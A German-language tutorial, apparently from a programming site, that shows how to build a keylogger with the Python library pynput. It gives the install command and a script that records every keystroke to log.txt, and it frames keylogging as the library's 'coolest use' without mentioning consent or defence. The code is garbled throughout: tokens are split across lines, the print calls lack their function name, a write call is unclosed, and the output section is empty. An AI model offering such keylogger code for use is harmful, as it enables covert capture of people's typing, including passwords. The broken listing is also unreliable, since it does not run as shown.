Wie verwende ich Pynput, um einen Keylogger zu erstellen?
Voraussetzungen: Python-Programmiersprache
Das Paket pynput.keyboard enthält Klassen zur Steuerung und Überwachung der Tastatur. pynput ist die Python-Bibliothek, mit der Tastatureingaben erfasst werden können. Die coolste Verwendung davon ist die Erstellung von Keyloggern. Der Code für den Keylooger ist unten angegeben.
Module benötigt
pynput: Um pynput zu installieren, geben Sie den folgenden Befehl in das Terminal ein.
pip install pynput
Unten ist die Implementierung:
import
pynput
from
pynput.keyboard
import
Key, Listener
keys
=
[]
def
on_press(key):
keys.append(key)
write_file(keys)
try
:
(
'alphanumeric key {0} pressed'
.
format
(key.char))
except
AttributeError:
(
'special key {0} pressed'
.
format
(key))
def
write_file(keys):
with
open
(
'log.txt'
,
'w'
) as f:
for
key
in
keys:
k
=
str
(key).replace(
"'"
, "")
f.write(k
f.write(
' '
)
def
on_release(key):
(
'{0} released'
.
format
(key))
if
key
=
=
Key.esc:
return
False
with Listener(on_press
=
on_press,
on_release
=
on_release) as listener:
listener.join()
Ausgabe: